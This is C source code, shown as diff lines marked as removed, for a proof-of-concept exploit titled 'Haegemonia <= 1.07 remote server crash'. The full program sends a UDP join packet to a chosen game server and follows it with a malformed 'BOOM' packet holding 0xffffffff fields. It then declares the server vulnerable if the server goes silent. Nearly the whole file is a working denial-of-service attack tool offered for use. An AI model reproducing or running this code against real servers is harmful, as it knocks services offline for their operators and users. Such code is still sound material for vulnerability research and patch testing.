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- /*
-
- by Luigi Auriemma
-
- UNIX & WIN VERSION
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
-
- #ifdef WIN32
- #include <winsock.h>
- #include "winerr.h"
-
- #define close closesocket
- #else
- #include <unistd.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #endif
-
-
-
-
- #define VER "0.1"
- #define BUFFSZ 2048
- #define PORT 19664
- #define TIMEOUT 5
- #define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, psz) \
- < 0) std_err();
- #define RECV if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) \
- < 0) std_err();
- #define JOIN "\x00\x00"
- #define BOOM "\x10\x00\x00\x03\x0b\x01" \
- /* boom */ "\xff\xff\xff\xff" \
- /* message */ "boomyeah"
-
-
-
-
- int timeout(int sock);
- u_long resolv(char *host);
- void std_err(void);
-
-
-
-
- int main(int argc, char *argv[]) {
- int sd,
- psz;
- u_short port = PORT;
- u_char *buff;
- struct sockaddr_in peer;
-
- setbuf(stdout, NULL);
-
- fputs("\n"
- "Haegemonia <= 1.07 remote server crash "VER"\n"
- "by Luigi Auriemma\n"
- "e-mail: aluigi@altervista.org\n"
- "web: http://aluigi.altervista.org\n"
- "\n", stdout);
-
- if(argc < 2) {
- printf("\nUsage: %s <server> [port(%u)]\n"
- "\n", argv[0], PORT);
- exit(1);
- }
-
- #ifdef WIN32
- WSADATA wsadata;
- WSAStartup(MAKEWORD(1,0), &wsadata);
- #endif
-
- if(argc > 2) port = atoi(argv[2]);
-
- peer.sin_addr.s_addr = resolv(argv[1]);
- peer.sin_port = htons(port);
- peer.sin_family = AF_INET;
- psz = sizeof(peer);
-
- printf("\nStarting attack versus %s:%hu\n\n",
- inet_ntoa(peer.sin_addr), port);
-
- sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- if(sd < 0) std_err();
-
- fputs("- sending JOIN packet\n", stdout);
- SEND(JOIN);
- if(timeout(sd) < 0) {
- fputs("\nError: socket timeout, server is probably not online\n", stdout);
- exit(1);
- }
- buff = malloc(BUFFSZ);
- if(!buff) std_err();
- RECV;
-
- fputs("- sending BOOM packet\n", stdout);
- SEND(BOOM);
- if(timeout(sd) < 0) {
- fputs("\nServer IS vulnerable!!!!!!!\n", stdout);
- } else {
- fputs("\nServer doesn't seem to be vulnerable\n", stdout);
- }
- close(sd);
-
- return(0);
- }
-
-
-
-
- int timeout(int sock) {
- struct timeval tout;
- fd_set fd_read;
- int err;
-
- tout.tv_sec = TIMEOUT;
- tout.tv_usec = 0;
- FD_ZERO(&fd_read);
- FD_SET(sock, &fd_read);
- err = select(sock + 1, &fd_read, NULL, NULL, &tout);
- if(err < 0) std_err();
- if(!err) return(-1);
- return(0);
- }
-
-
-
-
- u_long resolv(char *host) {
- struct hostent *hp;
- u_long host_ip;
-
- host_ip = inet_addr(host);
- if(host_ip == INADDR_NONE) {
- hp = gethostbyname(host);
- if(!hp) {
- printf("\nError: Unable to resolve hostname (%s)\n", host);
- exit(1);
- } else host_ip = *(u_long *)hp->h_addr;
- }
- return(host_ip);
- }
-
-
-
- #ifndef WIN32
- void std_err(void) {
- perror("\nError");
- exit(1);
- }
- #endif
-
-
-
-